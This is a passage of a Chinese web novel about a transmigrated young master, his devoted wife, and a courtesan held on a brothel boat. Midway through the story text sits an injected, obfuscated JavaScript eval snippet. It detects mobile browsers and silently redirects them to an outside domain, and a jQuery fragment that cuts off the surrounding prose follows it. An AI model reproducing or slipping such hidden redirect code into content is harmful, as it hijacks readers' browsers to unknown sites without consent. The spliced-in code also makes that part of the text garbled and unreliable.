“我们就你这么一个儿子,是全家的命根子啊。”肖母的眼泪掉了下来,“你要是有个三长两短,我和你父亲可怎么活?” 她深吸口气,又拉着他往内院走,声音压得更低:“更何况,还有傲雪呢。” “你和傲雪才成亲多久?那孩子温顺懂事,把你伺候得妥妥帖帖,心里眼里全是你。”肖母叹了口气,“你要是总在外头惹事,让她怎么想?她一个姑娘家,嫁过来就是想安稳度日,你得为她想想啊。” 肖晨垂着眼,听着母亲的话,喉结动了动。方才被父亲怒斥时压下的烦躁,此刻被母亲这番话浸得发软。他确实忘了,府里还有个等着他的人。 “娘知道你心善,”肖母见他不语,又放缓了语气,“可这世道就是如此,有些人有些事,不是你能护得住的。你安安分分守着家业,守着傲雪,比什么都强。” 她替他理了理衣襟,眼里满是期盼:“听话,啊?别再去码头了。” 肖晨望着母亲鬓边的白发,终是点了点头,声音有些涩:“我知道了,娘。” 只是心里那片角落,却像被潮水漫过,又凉又沉。一边是家人的期盼和李傲雪温顺的眉眼,一边是丁香在昏暗舱房里倔强的眼泪,他夹在中间,竟不知该往哪处去。 肖晨站在廊下,晚风吹起他的衣袍,却吹不散心头的滞涩。他望着庭院里那棵老槐树,叶片在暮色里簌簌作响,像极了无数压抑的叹息。 原来这就是古代,这就是所谓的封建社会。人命分了三六九等,有的人生来便锦衣玉食,有的人却只能像丁香那样,连自己的命运都握不住,被称作“奴隶”,被随意买卖、践踏。他以前在史书里读过,在电视剧里看过,总觉得隔着层纸,直到此刻,那些冰冷的文字和画面才化作活生生的疼痛,扎进心里。 真的是吃人啊。 他攥紧了拳,指甲深深嵌进掌心。可他能做什么呢?上次为了丁香,他已经试过反抗,换来的却是牢狱之灾和一身伤痕,连父亲都差点与他决裂。他不过是个异世而来的魂魄,空有现代的念头,却没有撼动这时代规则的力量。稍有不慎,别说救别人,连自己的命都得搭进去。 这一刻,他忽然懂了《步步惊心》里的若曦。那种明知命运走向却无力改变的绝望,那种在封建礼教的枷锁里步步维艰的挣扎,那种看着在意的人被时代洪流裹挟而去的无奈……以前在屏幕前看时只觉得唏嘘,如今亲身体会,才知其中滋味有多锥心。 “少爷?”阿成的声音在身后响起,带着几分小心翼翼,“夜深了,该回房了。” 肖晨回过神,松开手,掌心留下几道红痕。他点了点头,转身往卧房走。路过李傲雪的院落时,看见窗纸上映着她独坐的身影,安安静静的,像幅不会动的画。 他终究,还是得在这时代里,步步为营地活下去。 肖晨推开门时,房间里只点了盏昏黄的油灯,李傲雪半靠在床头,手里攥着本翻开的书,却显然没看进去,听见动静,立刻抬了头。 “少爷,你回来了。”她连忙放下书,想坐直些,动作间带了点不易察觉的局促。 肖晨关上门,走到床边坐下,目光落在她脸上。经过一天的休息,她脸色好看了些,不再是清晨那副苍白的模样,只是眼底还有淡淡的倦意。 “今天感觉怎么样?”他伸手探了探她的额头,温度是正常的。 李傲雪被他触到的地方微微发烫,垂下眼睫轻声道:“好多了,真的。”她顿了顿,手指绞着被角,声音低得像蚊子哼,“要是……要是您想的话……也可以的。” 话说完,她脸颊已经红透了,连耳根都泛着粉色,不敢抬头看他,只盯着自己交握的指尖。 肖晨的心像是被什么东西轻轻撞了下,又酸又软。他知道她总是这样,把自己放在最卑微的位置,小心翼翼地揣摩他的心意,生怕哪里做得不好。 他收回手,替她拢了拢滑落的被子,声音放得很柔:“傻瓜,说什么呢。”他抬手揉了揉她的头发,“好好歇着,我就是回来看看你。” 李傲雪猛地抬头,眼里闪过一丝惊讶,随即是掩饰不住的欢喜,像被雨淋湿的花忽然得了阳光。“真的?” “嗯。”肖晨笑了笑,“我累了,陪你躺会儿就好。” 他脱了外袍躺下,没做别的,只是伸手将她揽进怀里。李傲雪身体僵了下,很快放松下来,乖乖地靠在他胸口,听着他沉稳的心跳,嘴角忍不住微微上扬。 原来,他回来不是要她做什么,只是想这样陪着她。这个认知,比任何甜言蜜语都让她安心。油灯的光晕在帐子上摇晃,将两人的影子叠在一起,轻轻浅浅的,倒比白日里多了几分安稳。 帐外的夜渐渐深了,油灯的火苗跳了跳,将两人交叠的影子投在帐壁上,忽明忽暗。 李傲雪靠在肖晨怀里,起初还有些拘谨,听着他平稳的呼吸,紧绷的肩颈慢慢放松下来。她能闻到他身上淡淡的墨香,混着点室外夜风带来的凉意,让人莫名安心。 “少爷,”她犹豫了很久,还是小声开口,“您今天……是不是遇到烦心事了?” 肖晨低头看她,见她眼睛睁得圆圆的,满是担忧,心里那点因丁香而起的郁气淡了些。“没有,怎么这么问?” “我看您回来时,眉头是皱着的。”她指尖轻轻碰了碰他的眉心,像是想把那点褶皱抚平,“要是有什么事,您跟我说也行……虽然我可能帮不上什么忙,但我会听着的。” 肖晨握住她的手,那手小小的,带着点凉意。他沉默片刻,终究还是没提码头的事,只道:“没事,就是累了。” 他不想让她卷入这些糟心事里,她这样干净温顺的性子,该被好好护着,而不是被那些肮脏污浊沾染。 李傲雪见他不愿多说,便乖巧地不再问,只是往他怀里缩了缩,把脸埋在他胸口。“那您就好好歇歇,靠着我也行。” 肖晨笑了笑,收紧手臂,将她抱得更紧些。窗外的月光不知何时爬了进来,透过窗棂落在床沿,亮得像一层薄霜。 他闭着眼,听着怀里人浅浅的呼吸,还有她心脏轻轻的跳动声。那些关于时代的无奈,关于丁香的担忧,似乎都被这片刻的安稳暂时压了下去。 或许,他能做的,也只有守好眼前这一点点温暖了。 “睡吧。”他轻声说。 “嗯。”李傲雪应着,往他怀里蹭了蹭,很快就伴着他的心跳,沉沉睡了过去。 33. 生活的残忍让她没有希望 夜渐渐沉了,油灯的光晕也弱了些,房间里静得能听见窗外虫鸣。 肖晨没睡着,睁着眼看帐顶的纹路。怀里的人呼吸均匀,显然是累极了,眉头却还微微蹙着,像是在做什么不安稳的梦。他伸手,轻轻将那点褶皱抚平。 指尖触到她细腻的肌肤,想起白日里父亲的怒斥,母亲的眼泪,还有丁香在昏暗舱房里倔强的眼神。心口像是被什么堵住,闷得发慌。 他到底能护住谁呢? 李傲雪似乎被他的动作弄醒了,迷迷糊糊地睁开眼,看见他醒着,声音带着刚睡醒的软糯:“少爷,您没睡?” “快醒了。”肖晨收回手,替她掖好被角,“继续睡。” 她却摇摇头,往他怀里拱了拱,鼻尖蹭着他的衣襟:“我陪您。”她的声音很轻,“您是不是有心事?” 肖晨沉默了会儿,低低地“嗯”了一声。 “是因为……码头那位丁香姑娘吗?”李傲雪犹豫着问出口。她其实听到了些风声,知道少爷前阵子为了一个叫丁香的姑娘惹了麻烦,只是不敢多问。 肖晨有些意外她会提起,转头看她。昏暗中,她的眼睛亮晶晶的,没有嫉妒,只有纯粹的担忧。 “她……过得不好。”肖晨含糊地说。 李傲雪沉默了片刻,轻声道:“少爷心善,想帮她是应该的。”她顿了顿,握紧了他的手,“只是您也要保重自己,别再受伤了。您要是出事了,我……” 她说不下去了,眼圈有点红。 肖晨的心像是被温水浸过,软得一塌糊涂。他反手握住她的手,紧紧攥着:“我知道。” “那……要是需要帮忙,您也可以告诉我。”李傲雪仰起脸,认真地看着他,“我虽然笨,但能做的,我一定做。” 肖晨看着她清澈的眼睛,忽然笑了。在这个身不由己的时代,身边能有这样一个人,笨拙地想为他分担,已经是天大的幸事了。 他低头,在她额头印下一个轻吻:“好。” 李傲雪的脸又红了,乖乖地闭上眼,嘴角却忍不住上扬。 帐外的月光又移了些,落在两人交握的手上,温柔得像一层纱。肖晨终于觉得心头的滞涩散了些,抱着怀里温软的人,慢慢闭上了眼。 不管前路多难,至少此刻,他不是一个人。 天光微亮时,肖晨先醒了。李傲雪还睡得沉,侧脸贴着他的胸口,长睫像两把小扇子,呼吸轻轻拂过他的肌肤。他没动,就这么静静看着,直到窗纸透进更亮的光,才小心翼翼地挪开身子。 穿好衣袍回头,见她翻了个身,嘴里喃喃着“少爷”,伸手在身侧摸了摸,没摸到人,眉头又蹙起来。肖晨心头一软,走回去坐在床边,握住她空着的手。 她立刻安静下来,嘴角还弯了弯,像是在梦里寻到了安稳。 “我去前院看看,你再睡会儿。”他低声说,明知她听不见。 到了正厅,肖父已经坐在那里喝茶,脸色依旧不好,见了他,只淡淡哼了一声。肖晨垂眸行礼,没提昨晚的争执,只说:“父亲,今日我想处理下铺子的账目。” 肖父抬眼看他,似乎有些意外他转了性子,片刻后才道:“也好,总比在外头惹事强。” 一上午,肖晨都在书房核对账目,心思却总有些飘忽。阿成进来送茶时,他犹豫了下,还是问:“码头那边,没再传来什么消息吧?” “没呢,”阿成压低声音,“我让人盯着了,说刀疤刘倒是真请了丫头伺候,汤药也按时给了,就是……没松口放丁香姑娘走。” 肖晨指尖在账本上顿了顿,“知道了。” 他早料到会这样,那些人贪得无厌,哪会轻易放手。只是该怎么做,才能既不惹祸上身,又能彻底救她出来? 正思忖着,门外传来脚步声,是李傲雪的贴身丫头:“少爷,少奶奶醒了,说想给您送些点心过来。” 肖晨抬头,“让她别过来了,我这就回去。” 回到卧房,李傲雪果然在桌边摆了点心,见他进来,连忙迎上去:“刚做的绿豆糕,您尝尝?” 他拿起一块放进嘴里,清甜软糯,是他喜欢的味道。“手艺越来越好了。” 李傲雪笑靥如花,“您喜欢就好。”她看着他眉宇间的倦色,轻声问,“账很难算吗?看您累着了。” “还好。”肖晨握住她的手,指尖有些凉,“下午我陪你在府里走走吧,总躺着也闷。” 李傲雪眼睛一亮,用力点头:“好啊!” 午后的阳光正好,穿过花架落在两人身上,暖融融的。她挽着他的手臂,脚步轻快,像只快活的小鸟,指着廊下新开的月季给他看:“少爷你看,这朵开得最大!” 肖晨看着她笑靥如花的模样,心头的郁结散了不少。或许,他该学着在这方寸天地里,先守好眼前的安稳。 走了半盏茶的功夫,李傲雪脚步慢下来,脸色微微发白。肖晨立刻察觉,“累了?” “有一点。”她不好意思地笑了笑。 “回去歇着。”他半扶半抱地让她靠在自己身上,往卧房走。 路过月亮门时,李傲雪忽然抬头看他,“少爷,要是……要是那位丁香姑娘需要帮忙,我这里还有些体己钱,您别跟父亲起冲突,好不好?” 肖晨脚步一顿,低头看她。她眼里没有半分计较,只有纯粹的担忧。他喉结滚了滚,握紧了她的手:“好。” 有些温暖,原来真的能消解世间大半的寒凉。 李傲雪被他看得有些不自在,垂下眼睫,脸颊泛起淡淡的红晕,手指不自觉地绞着他的衣袖。方才说那话时全凭一股心意,此刻被他这样专注地望着,倒觉得有些莽撞了。 肖晨却没移开目光。他看着她低垂的眉眼,看着她因羞涩而微微泛红的耳垂,心里忽然涌起一股难以言喻的暖流。她是正经人家的小姐,知书达理,却从不因身份轻贱谁,甚至愿意拿出自己的体己钱去帮一个素未谋面的女子。 这样的她,干净又纯粹,像清晨未被惊扰的露水,美好得让他心头发颤。 他忽然俯身,轻轻托住她的后颈,低头吻了下去。 李傲雪浑身一僵,随即像被抽走了所有力气,软软地靠在他怀里。他的吻不同于往日的浅尝辄止,带着几分克制的珍重,还有藏不住的疼惜,轻轻辗转厮磨。 她闭上眼,睫毛微微颤抖,双手试探着环住他的腰,将脸埋得更深。鼻尖萦绕着他身上清冽的皂角香,混着淡淡的墨香,让她莫名安心。 肖晨吻了很久,直到她呼吸有些不稳,才稍稍退开,额头抵着她的,声音带着微哑的喟叹:“傲雪……” 李傲雪抬头,眼里蒙着层水汽,像含着两汪清泉,懵懂又羞怯地望着他。 他忍不住又在她唇上啄了一下,指尖轻轻拂过她的脸颊:“你怎么这么好。” 这话说得直白,却让李傲雪的心像被浸在蜜里,甜得发胀。她咬着唇,小声道:“能对少爷好,是我的福气。” 肖晨没再说话,只是收紧手臂,将她紧紧抱在怀里。阳光透过枝叶洒在两人身上,暖得像一层薄纱。他忽然觉得,那些纠缠的烦恼似乎都远了些,此刻只想抱着怀里的人,好好疼她,护着她,让她永远这样安稳地笑着。 “走吧,回房去。”他松开她,牵起她的手,掌心相贴的地方,暖得发烫。 李傲雪乖乖跟着他走,脚步轻快,嘴角的笑意怎么也藏不住。她知道,从这一刻起,他们之间似乎有什么东西,变得不一样了。 两个人回到房间,刚关上门,肖晨就转身将李傲雪抵在门板上,低头又吻了下去。 这次的吻比方才在院里更急些,带着点压抑不住的热意,像要将她整个人都揉进骨血里。李傲雪被他吻得呼吸一窒,随即软了身子,只能抬手攀着他的肩,任由他带着自己沉沦。 她能感觉到他指尖的微颤,还有他身上传来的热度,烫得她心尖发颤。这位平日里温文尔雅的少爷,此刻倒像变了个人,大胆得让她心慌,却又忍不住沉溺。 “少……爷……”她在吻的间隙,气息不稳地轻唤,脸颊红得能滴出血来。 肖晨稍稍退开些,额头抵着她的,鼻尖蹭着她的鼻尖,呼吸交缠在一起。他看着她水汽氤氲的眼,哑声道:“傲雪……” 李傲雪望着他眼底的自己,那里面映着她泛红的脸颊,还有他毫不掩饰的珍视。心头一软,她主动踮起脚,轻轻吻了吻他的唇角。 这个动作像点燃了引线,肖晨低笑一声,拦腰将她抱起。李傲雪惊呼一声,下意识搂住他的脖子,脸颊贴在他胸口,能清晰地听见他有力的心跳。 他将她轻轻放在床上,俯身吻去,从眉眼到唇角,再到颈侧,温柔又缠绵。李傲雪闭上眼,感受着他的触碰,身上的衣裳被他指尖轻轻解开,带着凉意的空气拂过肌肤,却很快被他的热度覆盖。 帐子被他随手放下,隔绝了窗外的光,只留下满室的温情。她能感觉到他的小心翼翼,带着疼惜,带着珍视,让她彻底放下了所有拘谨。 原来被人这样放在心尖上疼着,是这样熨帖的滋味。她抬手搂住他的背,将自己更深地送进他怀里,在他耳边轻轻哼了一声,像只温顺的小兽。 肖晨低笑,吻落在她发顶,声音温柔得能化开:“乖……” 帐内的烛火摇曳,将相拥的身影投在锦缎帐面上,忽明忽暗。 李傲雪的指尖微微蜷缩,抵在肖晨的肩头,感受着他掌心的温度顺着肌肤蔓延开来,暖得像春日里的阳光。他的吻不再像方才那般急切,变得温柔绵长,带着小心翼翼的珍视,仿佛她是易碎的琉璃,稍一用力便会碎裂。 “别怕。”他在她耳边低语,气息拂过耳廓,带着滚烫的暖意。 李傲雪轻轻“嗯”了一声,睫毛上沾着细碎的水汽,像晨露落在花瓣上。她能感觉到他的克制,那些隐忍的情愫透过每一次触碰传递过来,让她心头又软又胀。原来被人这样放在心尖上疼惜,是如此安稳的滋味。 她不再拘谨,抬手环住他的脖颈,将脸颊贴在他汗湿的颈窝,感受着他有力的心跳。那声音沉稳而坚定,像给她吃了定心丸,让她彻底放下了所有防备。 肖晨感受到她的回应,动作愈发轻柔。他替她拨开散落在颊边的碎发,指尖拂过她泛红的眼角,那里还带着未褪的羞怯。他忽然觉得,过往所有的辗转难眠,所有的身不由己,在这一刻都有了归宿。 窗外的月光不知何时变得明亮,透过窗棂洒进帐内,在两人交叠的肌肤上镀上一层银辉。李傲雪微微睁开眼,看见肖晨正望着自己,眼底的温柔像化不开的春水,映着她的模样。 她忽然笑了,眉眼弯弯,像含着两汪清泉。 肖晨被她这一笑晃了神,低头在她唇角印下一个轻吻,声音低哑:“笑什么?” “觉得……很安心。”她轻声说,往他怀里缩了缩,像只寻求庇护的小兽。 肖晨收紧手臂,将她抱得更紧些,仿佛要将她嵌进自己的骨血里。“以后,都会让你这么安心。” 这句话说得轻,却带着不容置疑的坚定。 烛火渐渐弱了下去,帐内的呼吸声渐渐变得绵长。李傲雪枕在肖晨的臂弯里,听着他平稳的心跳,很快便沉沉睡去,嘴角还带着浅浅的笑意。 肖晨却睁着眼,借着月光看着她恬静的睡颜。怀里的人温软得像团棉花,让他舍不得松开分毫。他知道前路依旧有诸多牵绊,但此刻,他只想守着这份温暖,护着怀里的人,让她永远这样安稳无忧。 他低头,在她发顶印下一个轻柔的吻,然后缓缓闭上眼,将所有的纷扰暂时抛在脑后。 至少今夜,岁月是温柔的。 天刚亮透,李傲雪就先醒了。身侧的人还睡着,眉头舒展,没了往日的沉郁,侧脸在晨光里显得格外温和。她悄悄起身,动作轻得像片羽毛,生怕扰了他的好觉。 等肖晨睁开眼时,房间里已经飘着淡淡的皂角香。李傲雪端着铜盆进来,见他醒了,脸上立刻漾起笑意:“少爷醒了?水刚温好,正好洗漱。” 她伺候他擦脸,动作轻柔,指尖偶尔触到他的下颌,会像受惊的小鹿般立刻收回,脸颊却悄悄泛红。肖晨看着她低头绞毛巾的模样,鬓边的碎发垂下来,遮住一点眉眼,温顺得让人心头发软。 换衣时,李傲雪踮脚替他系腰带,发丝不经意扫过他的颈侧,带着点淡淡的香气。肖晨忽然握住她的手,她一愣,抬头望他,眼里满是懵懂。 他抬手,轻轻托住她的下巴,指尖摩挲着她细腻的肌肤。晨光透过窗棂落在她脸上,绒毛都看得清晰,那双眼睛亮得像含着水光。 “有你这样的妻子,”他声音低沉,带着笑意,“我真是赚到了。” 李傲雪愣住,脸颊瞬间红透,想低下头,却被他轻轻托着下巴,躲不开。 “从来没有人对我这么上心过。”他看着她的眼,认真地说。现代没人爱,这世穿越而来,身边虽有家人,却总隔着层身份规矩,唯有眼前这个人,把他放在心尖上,事事周到,处处妥帖。 李傲雪的眼眶忽然就红了,她吸了吸鼻子,声音带着点鼻音:“能伺候少爷,是我的本分……也是我的心愿。” 她以为自己做得还不够好,总怕哪里不合他心意,却没想到,在他心里竟是这样的。 肖晨见她要哭,失笑一声,松开手,替她拭去眼角的泪:“怎么还哭了?” “没、没有。”她连忙摇头,用帕子擦了擦脸,却忍不住笑了出来,眼里的光比窗外的晨光还要亮。 “好了,”肖晨捏了捏她的脸颊,“再磨蹭,早饭该凉了。” “嗯!”李傲雪用力点头,转身要去端早饭,却被他拉住。 “一起去。”他牵起她的手,掌心相贴,暖得很。 李傲雪乖乖跟着他走,脚步轻快得像踩着云。她知道,往后的日子,一定会越来越好的。 晨光透过窗棂,洒在正厅的红木餐桌上。肖晨和李傲雪并肩站着,给肖父肖母请了安,才在桌边坐下。 丫鬟们陆续端上早饭,小米粥冒着热气,配着几碟清爽的小菜和刚出炉的酥饼,香气袅袅。 李傲雪细心地给肖晨盛了碗粥,又夹了块他爱吃的糖糕放在碟子里,动作自然妥帖。肖晨看在眼里,嘴角噙着淡淡的笑意。 肖父喝了口粥,放下碗,看向两人道:“我今天要出门一趟,大概得去半个月,南边有笔生意要亲自盯着。” 肖晨抬眸:“父亲一路保重,需要带些什么?让阿成提前备好。” “不用,都安排妥当了。”肖父摆摆手,目光扫过肖晨,又落在李傲雪身上,语气缓和了些,“家里的事,就交给你们俩了。铺子那边要是有拿不定主意的,就让账房先生先记着,等我回来再说。” “是,父亲放心。”肖晨应道。 李傲雪也连忙起身,福了福身:“儿媳会好好打理家事,照顾好少爷,等父亲回来。” 肖父点点头,没再多说,拿起筷子继续吃饭。桌上一时只有碗筷轻碰的声响,却比往日多了几分平和。 饭后,肖父便带着几个随从动身了。看着马车驶出院门,肖母叹了口气:“你父亲就是操心的命,一把年纪了还总往外跑。” “娘放心,父亲心里有数。”肖晨安慰道。 回房的路上,李傲雪小声问:“少爷,家里的事,我要是有哪里做得不好,您可得告诉我。” 肖晨看她紧张的样子,忍不住笑了:“放心,有我在呢。你只要好好照顾自己,比什么都强。” 李傲雪看着他温和的眉眼,心里踏实了不少,用力点了点头。阳光落在两人牵着的手上,暖得像裹了层蜜糖。她忽然觉得,就算父亲不在,有他在身边,好像什么都不用怕了。 肖母掀帘进来时,正见肖晨帮李傲雪整理鬓边的碎发,两人凑得近,晨光里的影子都透着亲昵。她脚步顿了顿,嘴角忍不住漾起笑意。 “娘。”李傲雪先看见了,连忙红着脸退开半步,福了福身。 肖晨也转过身:“娘怎么过来了?” “来看看你们起了没。”肖母走到桌边坐下,目光在两人身上转了圈,笑着道,“你父亲这一走,家里倒松快些。你也不用总闷在房里,一会儿先生就该到了,去书房接着读书吧,别荒了学业。” 她知道儿子前阵子因为外面的事分心,如今家里太平,正好收收心。 肖晨应道:“知道了娘。” “傲雪呢,”肖母又看向儿媳,语气温和,“要是闷得慌,就去花园里走走,或者跟下人们学学打理家事,不用总守着他。” 李傲雪红着脸点头:“嗯,听娘的。” 肖母又叮嘱了几句,无非是让他们互相照拂,才笑着离开了。 等肖母走后,李傲雪替肖晨拿过书卷,小声道:“那我送您去书房?” “好。”肖晨接过书卷,却没立刻走,反而牵起她的手,“等先生讲完课,我回来陪你用午膳。” 李傲雪眼睛一亮,用力点头:“嗯!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993194|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 看着他往书房去的背影,她站在门口,手还微微发烫。原来被婆母这样疼惜,被夫君这样记挂,是这样安稳的滋味。阳光落在阶前的花丛上,亮得晃眼,她忍不住弯了弯唇角,转身往厨房去——该让人炖些肖晨爱喝的冰糖雪梨了,先生讲课费嗓子呢。 李傲雪转身去了小厨房,让婆子炖上冰糖雪梨,自己则搬了张绣架坐在廊下。阳光透过花架洒下来,落在绣绷上那半朵未完成的玉兰花上,丝线泛着柔和的光。 她手里拈着针,心思却有些飘忽。想着肖晨在书房读书的样子,定是眉头微蹙,神情专注,偶尔会抬手揉一揉眉心——她见过好几次了,总觉得那样的他,既清隽又带着点让人想靠近的温软。 “少奶奶,这花绣得真好。”旁边择菜的张妈笑着夸了句,“瞧这针脚,比绣坊里的师傅还匀净。” 李傲雪脸颊微红,低下头继续绣:“张妈取笑我了。” “哪能呢,”张妈凑近了些,“少爷要是见了,保准喜欢。” 提到肖晨,她嘴角忍不住弯了弯,手下的针脚更细了些。是啊,他要是看见了,会喜欢吗? 书房里,肖晨正听先生讲解《论语》,心思却时不时飘到廊下。想着傲雪坐在那里绣花的样子,阳光落在她发上,定是好看得紧。他拿起笔,想在纸上写些什么,笔尖悬了半天,落下的却是“傲雪”二字,笔画轻软,带着自己都未察觉的温柔。 先生讲得投入,没注意他的走神,只自顾自说着。肖晨回过神,连忙收了心思,认真听着,只是嘴角那点笑意,怎么也压不下去。 临近午时,先生才起身告辞。肖晨送他到门口,转身就往回走,脚步都轻快了些。刚拐过月亮门,就看见李傲雪站在廊下,手里捧着个食盒,见他来,眼睛立刻亮了。 “少爷,先生走了?” “嗯。”肖晨走到她面前,“等很久了?” “没有,刚炖好呢。”她打开食盒,里面是一盅冰糖雪梨,甜香扑鼻,“给您润润喉。” 肖晨接过,舀了一勺尝了尝,甜而不腻,正好。“手艺越来越好了。” 李傲雪笑靥如花,跟在他身后往房里走:“那我明天给您做莲子羹?” “好啊。” 舱房换了间干净的,窗棂上还别着两朵不知谁摘的小雏菊,添了点生气。丁香坐在窗边,手里捧着碗温热的药汤,脸色比前几日红润了些,只是眉宇间那抹郁色依旧未散。 伺候她的小丫鬟端来点心,见她望着窗外发呆,忍不住开口:“姑娘,您这身子眼看着好起来了,该高兴才是。” 丁香收回目光,淡淡“嗯”了一声。 小丫鬟犹豫了下,还是忍不住问:“我听刀疤刘他们说,肖公子……肖公子是想帮您赎身的,您怎么就拒绝了呢?”她打心眼儿里觉得,能离开这地方,是天大的福气。 丁香端着药碗的手微微一颤,药汁晃出几滴,落在手背上,烫得她指尖蜷缩。她垂眸看着碗里褐色的药汤,声音轻得像叹息:“这里是什么地方?是卖笑的窑子。我们这些人,不过是他们手里的摇钱树,老大怎么可能轻易放过我?” 她太清楚这里的规矩了,进来容易,出去难,除非有天大的价钱,或是命没了,否则一辈子都得被困在这泥潭里。 “可肖公子是真心想帮您啊。”小丫鬟急道。 “正因为他真心,我才不能答应。”丁香抬起眼,眼底蒙着层水汽,“上次为了我,他已经吃了那么多苦,差点连命都没了。我已经拖累他一次,怎么能让他再为我冒险?” 她苦笑一声,指尖划过微凉的窗棂:“更何况,我一个低贱的人,拿什么报答他?他是肖家公子,前途无量,身边该站着像少奶奶那样干净体面的女子,而不是我这样一身污秽的人。” 与其将来给他添麻烦,不如就此断了念想。能被他记挂着,能有这几日安稳的日子,已经是奢望了。 小丫鬟听她这么说,急得脸都红了:“姑娘您别这么说!您跟那些人不一样,您守着清白,琴弹得又好,心里是干净的!只要能离开这儿,找个寻常人家嫁了,好好过日子,怎么就不能是干净人了?” 丁香望着她,眼神里带着点自嘲的笑意:“寻常人家?哪有那么容易。高门大户的门栏高,可就连寻常人家,也未必肯要我们这种地方出来的人。他们嘴上不说,心里却早就把我们当成了不干净的物件。” 她指尖攥紧了衣角,声音发颤:“你以为脱离了这里就真的能干净了?身上的烙印是抹不掉的。那些人看我们的眼神,从来都带着打量和轻贱。我们是他们眼里的玩物,有姿色能赚钱的时候当宝,一旦没了价值……” 她顿了顿,眼底浮起一层寒意:“要么被转卖到更下等的地方,要么就被他们折腾死,连收尸的人都没有。我见过太多了,前两年那个唱曲儿的姐姐,不过是病得重了些,就被老大卖给了山里的老光棍,听说没半年就没了……” 小丫鬟听得脸色发白,张了张嘴,却说不出反驳的话。这花船上的日子,她比谁都清楚,哪有什么真正的出路。 丁香闭上眼,深吸一口气,再睁开时,眼底只剩一片平静:“肖公子的好意我心领了,但我不能再拖累他。他那样的人家,光是我这身份,就能被人戳断脊梁骨。我这条命贱,别再连累了他。” 小丫鬟咬着唇,还想再说些什么:“可……可万一呢?肖公子肯花那么多钱给您治病,说不定心里是有您的。姑娘,您就一点念想都没有吗?我瞧着,您是喜欢他的。” 丁香拿起窗边那朵快蔫了的小雏菊,指尖轻轻捻着花瓣,忽然低低地笑了,眼里却没什么笑意,只有一片清浅的落寞。 “喜欢又能怎样?”她声音轻得像风,“他有妻子,那位少奶奶我远远见过一次,温温柔柔的,配他正好。他们是天造地设的一对,门当户对,名正言顺。” 她将花瓣一片片摘下,落在手心里:“我和他,从来就不是一路人。他是高高在上的肖家公子,我是这花船上的卖艺女,一开始就不对等。能做个知己,偶尔听他说几句话,已经是天大的缘分了,不能再贪心。” “贪心是要遭报应的。”她轻声说,像是在告诫自己,“我不能毁了他的日子,更不能让那位少奶奶伤心。她那么好的人,该被好好疼着的。” 小丫鬟看着她将花瓣撒向窗外,被风一吹就散了,像极了她此刻说的话。舱房里又静下来,只有船身轻微的晃动,带着种无力的飘摇感。 丁香望着窗外那片灰蒙蒙的天,心里清楚,有些念想,从一开始就该掐灭的。能远远看着他安稳度日,就够了。 小丫鬟没再说话,只是默默地收拾起桌上的空药碗。她看着丁香重新坐回窗边,背影清瘦,像株被雨打蔫的兰草,明明有风骨,却只能困在这方寸之地。 过了两日,刀疤刘又来了趟舱房,手里把玩着个玉佩,眼神在丁香身上转来转去:“身子骨利索得差不多了吧?后天有位贵客要过来,点名要听你弹琴,可得好好表现。” 丁香没抬头,只淡淡应了声:“知道了。” 刀疤刘啧了声,似乎想说什么,又没说,转身时丢下句:“别耍花样,不然有你好受的。” 等人走了,小丫鬟才凑过来,压低声音:“姑娘,那位贵客听说出了名的难缠,您……” “没事。”丁香打断她,指尖轻轻划过琴弦,发出一声清越的响,“不过是弹琴罢了,我拿手的。” 她心里清楚,这是躲不过的。刀疤刘既然花了钱给她治病,自然要尽快榨取回报。只是指尖落在琴弦上时,她忽然想起肖晨来。上次他来,她也是这样坐在窗边弹琴,他站在那里听着,眼神温和,像落了层月光。 那时她还以为,或许能有不一样的可能。 可现在看来,终究是她想多了。 她深吸一口气,拨动琴弦,琴声缓缓流淌出来,比往日多了几分清寂,像在诉说着什么,又像什么都没说。 小丫鬟站在一旁听着,只觉得这琴声里藏着太多说不出的委屈,听得人心里发堵。她偷偷抬眼,看见丁香望着窗外,睫毛上似乎沾着什么,亮晶晶的,却很快被她抬手拭去了。 有些路,注定只能一个人走。有些缘,注定只能到知己为止。丁香想,这样或许也挺好,至少在他心里,她还不是那个面目全非的玩物,只是个会弹琴的知己。 这样就够了。 她闭上眼,指尖在琴弦上更快地跳跃,将所有的念想,都藏进了这一曲无声的琴音里。 34. 她无法改变命运,成了货物被卖 到了约定的日子,舱房被重新收拾过,摆上了新换的香炉,燃着清雅的檀香。丁香换了身素色的衣裙,坐在琴前,指尖悬在弦上,却迟迟没动。 小丫鬟替她拢了拢鬓发,低声道:“姑娘,别紧张,就像往常一样就好。” 丁香点了点头,深吸一口气。檀香袅袅升起,模糊了她的眉眼,也仿佛冲淡了些许心底的涩。她闭上眼,再睁开时,指尖已落在琴弦上。 琴声起,起初是平缓的,像江南的流水,静静淌过青石板路。渐渐的,调子转了,添了几分清冽,又藏着不易察觉的怅惘,像月下独酌的人,对着空庭诉说心事。 门外传来脚步声,带着几分酒气的沉缓。刀疤刘谄媚的声音响起:“王老爷,您瞧,小的没骗您吧?丁香姑娘这琴艺,在整个码头上都是数一数二的。” 被称作王老爷的人没说话,只听见座椅被拉动的轻响。 丁香指尖未停,琴声却悄然变了,多了几分疏离的冷意,像在拒绝着什么。她垂着眼,长长的睫毛在眼下投出一片阴影,仿佛周遭的一切都与她无关,只剩下指尖的琴音。 王老爷沉默地听着,半晌才低笑一声:“确实有几分意思。”他的声音带着点沙哑,“抬起头来,让本爷瞧瞧。” 丁香的指尖顿了顿,终究还是依言抬起眼。她的目光平静,没有谄媚,也没有畏惧,就那样淡淡地望着他,像在看一个陌生人。 王老爷眯起眼,打量着她,忽然道:“听说肖家的公子为了你,差点跟家里闹翻?” 丁香的心猛地一紧,面上却依旧平静:“不过是公子仁善,见我可怜罢了。” 